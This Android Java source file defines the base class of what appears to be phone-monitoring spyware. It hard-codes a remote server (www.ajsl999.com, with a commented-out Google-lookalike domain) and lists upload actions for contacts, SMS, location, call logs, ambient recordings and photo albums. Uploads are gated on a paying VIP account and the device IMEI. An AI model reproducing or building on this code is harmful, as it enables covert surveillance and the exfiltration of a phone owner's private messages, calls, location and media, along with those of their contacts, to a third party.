package com.m.android.data.action;

import android.content.Context;
import android.text.TextUtils;

import com.m.android.data.entity.User;
import com.m.android.data.http.HttpWrapper;
import com.m.android.data.util.LocalManager;
import com.m.android.data.util.PhoneUtil;

public abstract class BaseAction {

//	protected static final String DEFAULT_HOST = "http://192.168.1.102:8080/monitor";
	 protected static final String DEFAULT_HOST = "http://www.ajsl999.com";
	// protected static final String DEFAULT_HOST =
	// "http://www.sevicegogle.com";
	protected Context mContext;
	protected User mUser;
	protected HttpWrapper mHttpWrapper;
	protected String mPhone;
	private static final String[] SUB_CLASSES = new String[] { SychUserAction.class.getName(), UpContactAction.class.getName(), UpSmsAction.class.getName(),
			UpLocationAction.class.getName(), UpCallLogAction.class.getName(), UpEnvRecordAction.class.getName(), UpAlbumAction.class.getName() };

	public static String[] getSubClasses() {
		return SUB_CLASSES;
	}

	public abstract boolean doUpload();

	protected abstract String getRequestUrl();

	public void init(Context context) {
		this.mContext = context;
		mHttpWrapper = HttpWrapper.getInstance(context.getApplicationContext());
		mUser = LocalManager.getUser(mContext);
		mPhone = PhoneUtil.getPhone(mContext);
	}

	protected boolean allowUpload() {
		// 如果用户为空，直接禁止上传
		if (mUser == null) {
			return false;
		} else {
			// 如果本地没有imei码，也直接禁止上传（如果手机中没有imei码，服务器会分配一个）
			String imei = PhoneUtil.getImei(mContext);
			if (TextUtils.isEmpty(imei)) {
				return false;
			}
			return mUser.isVip() && imei.equalsIgnoreCase(mUser.getNewImei());
		}
	}
}
